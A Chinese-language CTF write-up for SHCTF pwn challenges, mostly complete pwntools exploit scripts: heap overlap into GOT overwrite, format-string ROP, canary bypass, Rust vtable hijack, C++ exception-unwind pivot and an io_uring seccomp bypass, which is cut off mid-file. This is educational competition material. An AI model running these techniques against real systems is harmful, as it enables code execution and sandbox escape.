前言

第一次打shctf,想着看看题来玩一下,不交wp了。感觉题质量不错,就多看了看。最后也是单靠二进制一路干到了前面。misc和web一点没看就没写wp。一看可以拿个实体证书,故完善一下wp看看能不能留个纪念。顺便来水一篇文章

ps:题目按当时解出顺序排序,且部分题目解出后用ai扩展知识点,看起来比较乱,毕竟有些题也是边学边做的。

Pwn

正常菜单题,有uaf,唯一的不同就是全程只能操作紧挨top chunk的堆块,也就是堆顶的堆块,我们要不断的调整指针去达到攻击效果

add函数会申请两个堆块,一个用于head链接,一个用于操作

2.31正常绕过tache 的泄露libc方法先泄露出libc,这里注意一下释放堆的顺序是倒着释放

泄露完libc后观察一下ptr指的是哪个堆,发现申请出的并不是紧挨着的这个堆块。我们需要调整堆分水

通过申请小堆块可以强行吧我们的ptr指针拉会堆顶,接下来就是改got表

我们在申请3个堆块布置攻击结构,先释放chunkC让ptr指向chunkB

此时B->C,堆顶是A,我们通过,edit堆溢出改A的内容覆盖到B的size为前两个chunk的和0x40,完成堆重叠

由于chunk已经在0x20的链表里,我们可以申请一个0x18的chunk,成功吧这个0x41的伪造chunk申请出来了。

接着在释放,就可以吧head指针和data区域的chunk分开放,此时可以看到head堆指向了406030,而我们可以从0x406010处开始写,直接溢出覆盖指针就行

此时完成了攻击效果,ptr指向了我们的free got表,我们此时写内容,可以直接修改got,然后就可以打通了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

for i in range(8):
add(0x100, b"aaaa")
add(0x18, b"xilker")
add(0x100, b"bbbb")
for i in range(8, -1, -1):
free()

for i in range(7):
add(0x100, b"Emptying")

gdb.attach(p, 'b *0x40121F')
add(0xf0, 'aaaaaaaa')
show()
show()
p.recvuntil(b"content: ")
p.recv(8)
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x1ecce0
log.success(xilker(f"libc_base-->{hex(libc_base)}"))
system = libc_base + libc.symbols['system']
log.success(xilker(f"system-->{hex(system)}"))
free_got = elf.got['free']
binsh_str_addr = libc_base + next(libc.search(b"/bin/sh"))

泄露完libc就要找攻击路径了,我们可以劫持free的got表为system函数,然后就是free(/bin/sh)了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./vuln')
libc = ELF('./libc-2.31.so')
#p = process('./vuln')
p = remote('challenge.shc.tf', 31401)
def xilker(x, code=95):
return f"\x1b[{code}m{x}\x1b[0m"


def add(size, content):
p.sendlineafter(b'choice?', b'1')
p.sendlineafter(b'size?', str(size).encode())
p.sendafter(b'content?', content)

def free():
p.sendlineafter(b'choice?', b'2')

def show():
p.sendlineafter(b'choice?', b'3')

def edit(content):
p.sendlineafter(b'choice?', b'4')
p.sendafter(b'content?', content)


for i in range(8):
add(0x100, b"aaaa")
add(0x18, b"xilker")
add(0x100, b"bbbb")
for i in range(8, -1, -1):
free()

for i in range(7):
add(0x100, b"Emptying")

#gdb.attach(p, 'b *0x40121F')
add(0xf0, 'aaaaaaaa')
show()
show()
p.recvuntil(b"content: ")
p.recv(8)
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x1ecce0
log.success(xilker(f"libc_base-->{hex(libc_base)}"))
system = libc_base + libc.symbols['system']
log.success(xilker(f"system-->{hex(system)}"))
free_got = elf.got['free']
binsh_str_addr = libc_base + next(libc.search(b"/bin/sh"))

for i in range(10):
add(0x18, b"garbage")

add(0x18, b"A"*8)
add(0x18, b"B"*8)
add(0x18, b"C"*8) # Chunk C (Victim)

free() # 释放 C. Tcache: [C]
free() # 释放 B. Tcache: [B -> C]. 此时 Top 指向 A
payload = b'A'*0x10 + p64(0) + p64(0x41)
edit(payload)


add(0x18, b"B_new")
free()

payload = b'P' * 0x20 + p64(elf.got['free'])
add(0x30, payload)
edit(p64(system))
add(0x180,b'/bin/sh\x00')
free()
#gdb.attach(p)
p.interactive()



int_overflow

64位保护全开不考虑溢出

n100是char类型,我们输入的是小于9但是没限制负数,存在整数溢出

char 类型通常是一个 8 位(8-bit) 的有符号整数,其表示范围是 -128127。当运算结果超出这个范围时,会发生溢出,从另一端“绕回”。

在计算机底层(补码表示法),100 和 100 - 256 = -156 在 8 位截断后的二进制表示是一样

最直接的方法是寻找一个负数,使其等于 100 - 256 = -156。输入两次,我们输入两次-78就可以满足总和

这个函数里不溢出的话选择覆盖command变量就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./task')
#libc = ELF('./libc.so.6')
#p = process('./task')
p = remote('challenge.shc.tf', 32555)
def xilker(x, code=95):
return f"\x1b[{code}m{x}\x1b[0m"


p.recvuntil('number1')
p.sendline(b'-78')
p.recvuntil('number2')
p.sendline(b'-78')
pay = b'a' *10 + b'cat flag'
p.sendlineafter(b'name', pay)
p.interactive()

execve?orw?

沙箱只允许了exit的系统调用,可以考虑测信道爆破来判断字符串是否正确

可以看到flag就在申请的虚拟地址处,使用loop死循环和je钩住,则证明猜对,否则就调用exit退出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Flag 地址在 0x11451000
mov rbx, 0x11451000
add rbx, [offset] ; offset 是我们要爆破的第几个字节

mov al, [rbx] ; 取出实际的字节
cmp al, [guess_char] ; 与我们猜测的字符比较

je loop ; 如果相等,进入死循环
mov rax, 60 ; 如果不相等,调用 SYS_exit (60)
xor rdi, rdi
syscall

loop: ; 死循环标签
jmp loop
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='amd64')
elf = ELF('./task')
#libc = ELF('./libc.so.6')
p = process('./task')
#p = remote('challenge.shc.tf', 32555)
def xilker(x, code=95):
return f"\x1b[{code}m{x}\x1b[0m"

flag = ""
flag_addr = 0x11451000

def solve():
global flag
for i in range(len(flag), 40): # 设置flag长度
# 遍历可见字符范围
for char in range(32, 127):
try:
#r = process("./task") # 本地调试
r = remote('challenge.shc.tf', 30181)

# 构造 Shellcode
shellcode = shellcraft.amd64.mov('rbx', flag_addr + i)
shellcode += f'''
mov al, byte ptr [rbx]
cmp al, {char}
je loop
mov rax, 60
xor rdi, rdi
syscall
loop:
jmp loop
'''

payload = asm(shellcode)
r.sendafter(b"execve? orw?", payload)

# 设置一个较短的超时时间
# 如果在 0.5s 内连接没关闭,说明进入了死循环,即字符正确
start_time = time.time()
r.recvall(timeout=0.5)
end_time = time.time()

if end_time - start_time >= 0.4:
flag += chr(char)
print(f"找到字符: {flag}")
r.close()
break

r.close()
except EOFError:
pass

solve()
p.interactive()

baby_fmt

保护除了canary都开了,题目看起来越简单,越不简单

fmt的新用法,原子写入( 栈空间太小,且 printf 返回地址需要跨段修改(PIE -> Libc),必须一次性写完

注意下所有 %c 的计数必须 减去 5,否则指针会写歪 (比如指向 Ret+5),导致崩溃。

Arg 62 指向 Arg 77,且 Arg 77 是一个干净的栈指针。

- 利用 `62` 修改 `77`,让 `77` 指向 `Arg 78` 的位置 -> 写入 `Ret+2`。
- 利用 `62` 修改 `77`,让 `77` 指向 `Arg 79` 的位置 -> 写入 `Ret+4`。
- 利用 `62` 修改 `77`,让 `77` 指向 `RetAddr`。
- **结果**:栈上 `77`, `78`, `79` 分别变成了我们要的 3 个指针。

没改前,printf的ret是一个base的地址

可以看到我们吧printf的ret从基地址的ret,完整的改为了libc中的地址,由于payload前面用来改指针,所以用add 0x38的gadget来跳过这里执行后面的rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *

# context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='amd64')
#p = process('./pwn')
p = remote('challenge.shc.tf', 30948)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def xilker(x, code=95):
return f"\x1b[{code}m{x}\x1b[0m"


log.info("Leaking Stack & Libc...")
p.sendlineafter(b"text:", b'%45$p|%41$p')

data = p.recvuntil(b"|", drop=True)
if b"text:" in data: data = data.split(b"text:")[1]
leak_arg75_addr = int(data, 16)

libc_leak = int(p.recvline()[:-1].strip(b"|"), 16)
libc.address = libc_leak - 0x29d90
stack_ret_addr = leak_arg75_addr - 0x230

# 辅助函数:
def get_arg_addr(n):
return leak_arg75_addr + (n - 75) * 8

arg78_addr = get_arg_addr(78)
arg79_addr = get_arg_addr(79)

# Gadgets
ogg = libc.address + 0xebc81
pop_rbp = libc.address + 0x2a2e0
bss = libc.bss() + 0x500
skipper = libc.address + 0x5a44e # add rsp, 0x38; ret

log.success(xilker(f'RetAddr: {hex(stack_ret_addr)}'))
log.success(xilker(f'Libc: {hex(libc.address)}'))


CONTROLLER = 62
WRITER = 77
p.send(b'\x00' * 255)

def factory_write(target_ptr_addr, val_to_point_to):

count1 = (target_ptr_addr & 0xffff) - 5
if count1 < 0: count1 += 0x10000
p.sendlineafter(b"text:", f"%{count1}c%{CONTROLLER}$hn".encode())


count2 = (val_to_point_to & 0xffff) - 5
if count2 < 0: count2 += 0x10000
p.sendlineafter(b"text:", f"%{count2}c%{WRITER}$hn".encode())

log.info("Manufacturing pointers (Accounting for 'text:' offset)...")

factory_write(arg78_addr, stack_ret_addr + 2)

factory_write(arg79_addr, stack_ret_addr + 4)


count_ret = (stack_ret_addr & 0xffff) - 5
if count_ret < 0: count_ret += 0x10000
p.sendlineafter(b"text:", f"%{count_ret}c%{CONTROLLER}$hn".encode())


log.info("Detonating Payload...")

val = skipper
part1 = val & 0xffff
part2 = (val >> 16) & 0xffff
part3 = (val >> 32) & 0xffff

vals = [
(part1, WRITER),
(part2, 78),
(part3, 79)
]
vals.sort()

fmt = b""
curr = 5
for v, idx in vals:
d = v - curr
if d > 0: fmt += f"%{d}c".encode()
fmt += f"%{idx}$hn".encode()
curr = v


current_len = 5 + len(fmt)
pad_len = 56 - current_len

if pad_len < 0:
log.error(f"Payload too long ({current_len})! Need optimization.")
else:
final = fmt + b'a'*pad_len
final += p64(pop_rbp)
final += p64(bss)
final += p64(ogg)

# gdb.attach(p, 'b*$rebase(0x1266)')
p.sendlineafter(b"text:", final)

p.interactive()

baby_canary

数组越界,算负数偏移改 __stack_chk_fail got表,为ret地址,吧canary给废了。然后用gadget结合程序的代码段泄露libc,有pop rax的gadget,puts_got放rax,在顺路传给puts就行

Index 33-45 是干净的空间,0-31会被puts函数调用后,栈上残留libc地址,无法利用,45封顶,不能在往高写。我们可以构造一个read链子,把我们的rop链放到bss+0x500的位置。最后打orw就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc.so.6')
#p = process('./pwn')
p = remote('challenge.shc.tf', 30473)
def xilker(x, code=95):
return f"\x1b[{code}m{x}\x1b[0m"

input = 0x4040C0
canary = elf.got['__stack_chk_fail']
ret = 0x40101a
leave_ret = 0x401350

rop_index = 30
rop_addr = input + (rop_index * 8)

def write_bss(index, value):
idx_payload = str(index).encode().ljust(9, b'\x00')
p.send(idx_payload)
sleep(0.1)
p.send(value)
p.sendlineafter(b"want to read more?", b"y")

def trigger_pivot():
p.send(b"0".ljust(9, b'\x00'))
p.send(b"A"*8)
p.sendafter(b"want to read more?", b"n")
p.recvuntil(b"try to hack me")
payload = flat([
b'A' * 24, # Padding
b'B' * 8, # Canary
p64(rop_addr), # 微调:指向新的 ROP 起点
p64(leave_ret) # RIP -> leave; ret
])
p.send(payload)

magic = 0x401564
pop_rax = 0x4013c9
puts_got = elf.got['puts']
offset = (canary - input) // 8
offset1 = (0x404068 - 0x4040C0) // 8

p.recvuntil('canary!')
write_bss(offset, p64(ret))

write_bss(-11, p64(1))
write_bss(rop_index, b"DEADBEEF") # (pop rbp)
write_bss(rop_index + 1, p64(pop_rax)) # Index 31
write_bss(rop_index + 2, p64(puts_got)) # Index 32
write_bss(rop_index + 3, p64(magic)) # Index 33
# gdb.attach(p, 'b *0x40152f')
trigger_pivot()
leak = p.recvuntil(b'\x7f')[-6:] # 截取 6 字节
libc_base = u64(leak.ljust(8, b'\x00')) - libc.symbols['puts']

rbp = 0x4011fd
rdi = libc_base+0x2a3e5
rsi = libc_base+0x2be51
rdx_rbx = libc_base +0x0904a9 # pop rdx; pop rbx; ret;
syscall = libc_base+0x091316
open_addr = libc_base + libc.symbols['open']
read_addr = libc_base + libc.symbols['read']
write_addr = libc_base + libc.symbols['write']

print(xilker(f"libc_base-->{hex(libc_base)}"))
print(offset1)


flag_addr = input + (31 * 8)
main = 0x40154B
high_stack = input + 0x800


# 1. read(0, high_stack, 0x1000)
write_bss(33, p64(rdi))
write_bss(34, p64(0)) # stdin
write_bss(35, p64(rsi))
write_bss(36, p64(high_stack)) # 读到高位
write_bss(37, p64(rdx_rbx))
write_bss(38, p64(0x1000))
write_bss(39, p64(0)) # rbx
write_bss(40, p64(pop_rax))
write_bss(41, p64(0)) # sys_read
write_bss(42, p64(syscall))
#gdb.attach(p, 'b *0x401412')
write_bss(43, p64(0x4011fd)) # pop rbp; ret
write_bss(44, p64(high_stack)) # RBP
write_bss(45, p64(leave_ret))


p.sendline(b"0")
p.send(p64(0))
p.sendafter(b"read more?", b"n")
payload = p64(0xdeadbeef) # pop rbp

# --- openat(AT_FDCWD, "flag", 0) ---
payload += p64(rdi) + p64(0xffffffffffffff9c)
payload += p64(rsi) + p64(high_stack + 0x200) # flag
payload += p64(rdx_rbx) + p64(0) + p64(0)
payload += p64(pop_rax) + p64(257)
payload += p64(syscall)

# --- read(3, buf, 0x100) ---
payload += p64(rdi) + p64(3)
payload += p64(rsi) + p64(high_stack + 0x300)
payload += p64(rdx_rbx) + p64(0x100) + p64(0)
payload += p64(pop_rax) + p64(0)
payload += p64(syscall)

# --- write(1, buf, 0x100) ---
payload += p64(rdi) + p64(1)
payload += p64(pop_rax) + p64(1)
payload += p64(syscall)

payload = payload.ljust(0x200, b'\x00')
payload += b"flag\x00"

sleep(0.5)
p.send(payload)
p.interactive()

hello rust

这题告诉了攻击的利用需要学的知识点,不会现学就行

64位保护全开

先定位mian函数的逻辑(rust的反汇编真丑啊),分析可以找到三个关键函数

漏洞点,输入256的时候低字节变 0,绕过检查,后续 Vec::index(256) 触发 panic。然后panic -> mutex poisoned -> 隐藏泄漏分支

shopping_time 里检查 is_poisoned(),进入隐藏分支(索引 3/4/5)并扣 3000。

隐藏分支泄漏:

index=3: 打印 name 地址

index=4: 打印 role 地址

index=5: 打印全局 x 地址值,即 system

edit_name 任意长度拷贝导致结构体覆盖

没有任何检查,可覆盖 roleflag_idx

trait object 劫持执行

伪造 role 指向 fake vtable,可把 method 改成 system

攻击思路就是先打工赚钱,为了两次泄露,panic + mutex poisoned 打开隐藏泄漏面,配合 edit_name 无界拷贝覆盖 Rust trait object,再通过虚调用点跳到 system

  1. edit_name 溢出覆盖:
  • role.data_ptr = name_addr(放命令字符串)
  • role.vtable_ptr = name_addr + 0x40(放 fake vtable)
  • flag_idx 随意(置 0)

利用现成的字符串

  1. 菜单选 4,触发虚调用 => system("cat /flag")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
from pwn import *
import re

context(os='linux', arch='amd64')
context.timeout = 2
elf = ELF('./115958_hello_rust')
libc = ELF('./libc.so.6')
p = process('./115958_hello_rust')
#p = remote('challenge.shc.tf', 31553)

prompt_item = "商品编号".encode()
prompt_nick = "请输入新昵称".encode()
menu_tail = "遗憾离场".encode()

def xilker(x, code=95):
return f"\x1b[{code}m{x}\x1b[0m"

def sync_menu(timeout=0.2):
data = p.recvuntil(menu_tail, timeout=timeout)
if menu_tail in data:
data += p.recvuntil(b">", timeout=timeout)
return data

def choose(i):
sync_menu(timeout=0.2)
p.sendline(str(i).encode())

def parse_balance(data):
try:
s = data.decode("utf-8", "ignore")
except Exception:
return 0

m = re.findall(r"¥(-?\d+)", s)
if m:
return int(m[-1])

nums = re.findall(r"-?\d+", s)
if not nums:
return 0
return int(nums[-1])


def earn_money(target=8000, max_round=200):
bal = 0
for _ in range(max_round):
data = sync_menu(timeout=2)
now = parse_balance(data)
if now > bal:
bal = now
log.info(xilker(f"balance maybe: {bal}", 96))
if bal >= target:
return bal
p.sendline(b"1")
return bal


def poison_mutex():
choose(2)
p.recvuntil(prompt_item, timeout=2)
p.sendline(b"256")
sync_menu(timeout=2)


def leak_ptr(idx):
choose(2)
p.recvuntil(prompt_item, timeout=2)
p.sendline(str(idx).encode())
data = p.recvuntil(b">", timeout=2)
m = re.search(rb"0x[0-9a-fA-F]+", data)
if not m:
log.failure(xilker(f"leak {idx} failed", 91))
log.info(data)
raise RuntimeError("leak failed")
return int(m.group(0), 16)


def build_payload(system_addr, name_addr):
cmd = b"cat /flag\x00"
payload = cmd.ljust(0x20, b"A")
payload += b"B" * 4

vtable_addr = name_addr + 0x40
payload += p64(name_addr)
payload += p64(vtable_addr)
payload += p64(0)

payload = payload.ljust(0x40, b"C")
payload += p64(system_addr)
payload += p64(0)
payload += p64(1)
payload += p64(system_addr)

if b"\n" in payload:
raise RuntimeError("payload has newline")
return payload


def edit_name(payload):
choose(3)
p.recvuntil(prompt_nick, timeout=2)
p.sendline(payload)


def trigger_call():
choose(4)
data = p.recvrepeat(1.5)
m = re.search(rb"[A-Za-z0-9_]+\{[^\n}]+\}", data)
if m:
log.success(xilker(m.group(0).decode(errors="ignore"), 92))
else:
log.info(data)


# gdb.attach(p, 'b *0x2245d')
balance = earn_money()
print(xilker(f"balance maybe --> {balance}", 96)) # 蓝色

for _ in range(5):
poison_mutex()
try:
system_addr = leak_ptr(5)
name_addr = leak_ptr(3)
break
except Exception:
continue
else:
print(xilker("leak failed", 91))
p.close()
exit()

print(xilker(f"system_addr --> {hex(system_addr)}", 92)) # 绿色
print(xilker(f"name_addr --> {hex(name_addr)}", 92))
libc_base = system_addr - libc.symbols['system']
print(xilker(f"libc_base --> {hex(libc_base)}", 93))

pl = build_payload(system_addr, name_addr)
edit_name(pl)
trigger_call()
p.interactive()

cpp_canary

C++的pwn题目,开了canary和nx

login函数中有栈溢出,且没有泄露信息的地方。利用C++特性:C++ 异常展开 + 假栈帧劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
bool __cdecl login()
{
std::allocator<char> __a__1; // [rsp+Dh] [rbp-113h] BYREF
std::allocator<char> __a_; // [rsp+Eh] [rbp-112h] BYREF
std::allocator<char> __a; // [rsp+Fh] [rbp-111h] BYREF
std::string usname; // [rsp+10h] [rbp-110h] BYREF
std::string p_passwd; // [rsp+30h] [rbp-F0h] BYREF
std::string p_key; // [rsp+50h] [rbp-D0h] BYREF
User other; // [rsp+70h] [rbp-B0h] BYREF
char username[16]; // [rsp+D0h] [rbp-50h] BYREF
char passwd[16]; // [rsp+E0h] [rbp-40h] BYREF
char key[24]; // [rsp+F0h] [rbp-30h] BYREF
unsigned __int64 v11; // [rsp+108h] [rbp-18h]

v11 = __readfsqword(0x28u);
printf("username: ");
read(0, username, 0x10u);
printf("password: ");
read(0, passwd, 0x100u); // 栈溢出
printf("key: ");
read(0, key, 0x10u);
std::allocator<char>::allocator(&__a);
std::string::basic_string<std::allocator<char>>(&p_key, key, &__a);
std::allocator<char>::allocator(&__a_);
std::string::basic_string<std::allocator<char>>(&p_passwd, passwd, &__a_);
std::allocator<char>::allocator(&__a__1);
std::string::basic_string<std::allocator<char>>(&usname, username, &__a__1);
User::User(&other, &usname, &p_passwd, &p_key);
User::operator=(&user, &other);
User::~User(&other);
std::string::~string();
std::allocator<char>::~allocator();
std::string::~string();
std::allocator<char>::~allocator();
std::string::~string();
std::allocator<char>::~allocator();
if ( !User::operator==(&user, &admin) )
return 0;
puts("Welcome back, admin!");
return 1;
}

给了后门函数,想办法劫持过去就行

先找到bss段的user和admin的全局对象地址,后续伪造使用(用user)

调试可以看到会把使用User类构造时候会指向我们input的数据

将刚才的input数据拷贝到user的全局变量中,这里我们可以构造

我们吧AAAA改为后门函数的地址,就是下面的这个样子

整体思路就是第一步伪造后门函数,第二步伪造fake_rbp.利用C++异常处理栈展开的性质。逐层往上回退。找到构造好的rbp,然后leave ret到backdoor

注意由于栈展开的复杂性,破坏了rbp,需要回main函数重置一下

异常处理实际调用这个函数

异常处理过程中逐层往上找可以找到我们伪造的fake_rbp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./cpp')
#libc = ELF('./libc.so.6')
p = process('./cpp')
#p = remote('challenge.shc.tf', 31553)
def xilker(x, code=95):
return f"\x1b[{code}m{x}\x1b[0m"


user = 0x406320
fake_rbp= user + 0x8
main = 0x4028E6

gdb.attach(p, 'b *0x402648')
username = b"\xdb\x25\x40\x00" + b"B" * 12
p.sendafter(b"username: ", username)

payload = b"A" * 0x40
payload += p64(fake_rbp)
payload += p64(main)
payload = payload.ljust(0x60, b"A")

p.sendafter(b"password: ", payload)

# 发送空 key 导致 key_.at(0) 抛出异常
p.sendafter(b"key: ", b"\x00" * 0x10)

p.interactive()

fmt_blind

这题保护全开,沙箱给了白名单

程序会把flag放到栈上,我们可以直接用fmt去改指针指向这个flag,然后打印出来

程序最后

  • close(1): 关闭标准输出 (stdout)。
  • open("/dev/null", 1): 将 stdout 指向黑洞。
  • dup2(0, 2): 将标准错误 (stderr) 重定向到 socket (攻击者可见)。

我们的攻击思路就是利用canary的报错来将./文件名,改为flag的地址,直接吧flag输出出来** **

利用65536这个数字,懒得自己解释,ai的解释如下

我们在格式化字符串中使用了 %hn

  • h 表示 short(短整型),它在 64 位机器上占 **2 个字节 (16 bit)**。
  • 2 字节能表示的最大数值是 $2^{16} - 1 = 65535$。
  • 当你试图向一个 short 类型写入 65536 时,它会发生回绕(Wrap around),变回 0

所以,在 16 位写入的逻辑里,65536 等同于 0

2. 最终计算:为什么要用减法?

我们的目标是把 argv[0] 指针的低两个字节修改掉。

  • 当前值:leak_addr 的低两字节。
  • 目标值:leak_addr - 392

但是,格式化字符串的 %c 只能增加字符计数器(累加写入),不能减少

比如:你已经打印了 100 个字符,你没法通过打印字符让计数器变成 80。

那么,如何通过“加法”实现“减去 392”的效果呢?

答案是:绕一圈回来。

你想让指针后退 392 步,等同于让指针前进 **65536 - 392**

text{增量} = 65536 - 392 = 65144

所以,当你发送 %65144c%6$hn 时(假设此时计数器从 0 开始):

  1. 程序打印了 65144 个字符。
  2. %hn 写入这 65144 字节。
  3. 在内存的低两个字节看来,这刚好就是执行了 -392 的操作。

总结

  • 392: 是为了从泄露的栈指针位置“回跳”到 Flag 的位置。
  • 65536: 是为了利用 %hn 的 16 位溢出特性,强行把“减法”转变成“加法”。
  • 65144: 就是实际需要打印的补位字符数。

这个就是canary报错的默认指针,他是指向文件名,改这个就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='amd64')
elf = ELF('./pwn')
#libc = ELF('./libc.so.6')
#p = process('./pwn')
p = remote('challenge.shc.tf', 31553)
def xilker(x, code=95):
return f"\x1b[{code}m{x}\x1b[0m"

target = 65536 - 392 # 65144
#gdb.attach(p, 'b *$rebase(0x12F4)')

p.sendline(b'128')
#pay = b'AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p'
pay = b'a' * 120
p.sendlineafter(b'name: ',pay)
p.recvuntil(b'a'*120)
stack = u64(p.recv(6).ljust(8, b"\x00"))
log.success(xilker(f"Stack--> {hex(stack)}"))
flag_addr = stack - 392
target = flag_addr & 0xffff # 取低 16 位 (即 0xf6d0 -> 63184)
print(hex(target))
pay = f"%{target}c%6$hn".encode()
pad = 88 - len(pay)
pay += b"a" * pad
pay += b"a" * 20
p.sendlineafter(b'name.',pay)
p.interactive()

execve?orw?_everange

白名单只能用3个系统调用号,0x1a9和0x1aa很熟悉了,网上有很多有关资料可以学习

io_uring_setup (425), io_uring_enter (426)

解释一下利用原理:

通常 Seccomp 过滤器(BPF rules)是绑定在当前用户态进程/线程上的。

  1. 传统 I/O: 用户执行 syscall open -> CPU 切换内核态 -> 内核检查当前进程 Seccomp 规则 -> 拦截并杀掉
  2. io_uring I/O:
    • 用户进程只是往共享内存(Submission Queue)里写了一条“我要 Open”的指令。
    • 用户调用 io_uring_enter 通知内核。
    • 内核工作线程 (Kernel Worker Thread) 从队列取出任务,并在内核线程上下文中执行 open
    • 由于执行者是内核线程(通常不受限于用户进程的 Seccomp),因此操作成功执行。

也就是说,我们可以用mmap开辟空间,让内核帮我们完成orw的操作

  • 初始化 (**setup**): 调用 sys_io_uring_setup 获取 ring_fd。
  • 内存映射 (**mmap**): 将内核的 SQ (提交队列), CQ (完成队列), SQEs (任务槽) 映射到用户空间,以便读写。
  • 构建任务: 填充 io_uring_sqe 结构体(Opcode, FD, Address, Length)。
  • 提交执行 (**enter**): 调用 sys_io_uring_enter 触发执行。

最后就是注意下,内核态不要同时提交orw的任务, 可能存在利用成功,但是无法输出显示flag的情况,可以使用同步阻塞模式 强制让前一个任务完成在去执行下一个任务

1
2
gcc -Os -fPIC -fno-stack-protector -nostdlib -o exp.o -c exp.c
objcopy -O binary -j .text exp.o exp.bin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3
from pwn import *
import os

# ================= 配置 =================
LOCAL_TEST = True
# =======================================

context.arch = 'amd64'
context.log_level = 'debug'


def compile_exp():
print("[-] Compiling...")
os.system("rm -f exp.o exp.bin")
os.system("gcc -Os -fPIC -fno-stack-protector -fcf-protection=none -nostdlib -o exp.o -c exp.c")
os.system("objcopy -O binary -j .text exp.o exp.bin")
return open("./exp.bin", "rb").read()

payload = compile_exp()

if LOCAL_TEST:
p = gdb.debug('./pwn', '''
b *0x401360
c
''')
else:
p = remote('127.0.0.1', 1337)

try:
p.recvuntil(b"orw?")
print("[-] Sending Payload...")
p.send(payload)

p.interactive()

except Exception as e:
log.error(str(e))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <sys/syscall.h>
#include <linux/io_uring.h>
#include <sys/mman.h>
#include <fcntl.h>

static inline __attribute__((always_inline)) long syscall6(long n, long a1, long a2, long a3, long a4, long a5, long a6) {
long ret;
__asm__ volatile (
"movq %1, %%rax\n\t" "movq %2, %%rdi\n\t" "movq %3, %%rsi\n\t"
"movq %4, %%rdx\n\t" "movq %5, %%r10\n\t" "movq %6, %%r8\n\t"
"movq %7, %%r9\n\t" "syscall\n\t" "movq %%rax, %0"
: "=r" (ret) : "g" (n), "g" (a1), "g" (a2), "g" (a3), "g" (a4), "g" (a5), "g" (a6)
: "rax", "rdi", "rsi", "rdx", "r10", "r8", "r9", "rcx", "r11", "memory"
);
return ret;
}

void _start() {
// 1. 初始化
struct io_uring_params p;
for (int i = 0; i < sizeof(p)/8; i++) ((long*)&p)[i] = 0;

int ring_fd = syscall6(425, 8, (long)&p, 0, 0, 0, 0);
unsigned char *sq_ptr = (unsigned char *)syscall6(9, 0, 0x1000, 3, 1, ring_fd, 0);
struct io_uring_sqe *sqes = (struct io_uring_sqe *)syscall6(9, 0, 0x1000, 3, 1, ring_fd, 0x10000000);

unsigned int *sq_tail = (unsigned int *)(sq_ptr + p.sq_off.tail);
unsigned int *sq_array = (unsigned int *)(sq_ptr + p.sq_off.array);

// ==========================================
// 第一波:Open + Read (只读,不写)
// ==========================================

// [Task 0] Open /flag
char *path = (char *)(sq_ptr + 0x800);
*(unsigned long long *)path = 0x67616c662f; // "/flag"

sqes[0].opcode = 18; // OPENAT
sqes[0].fd = -100;
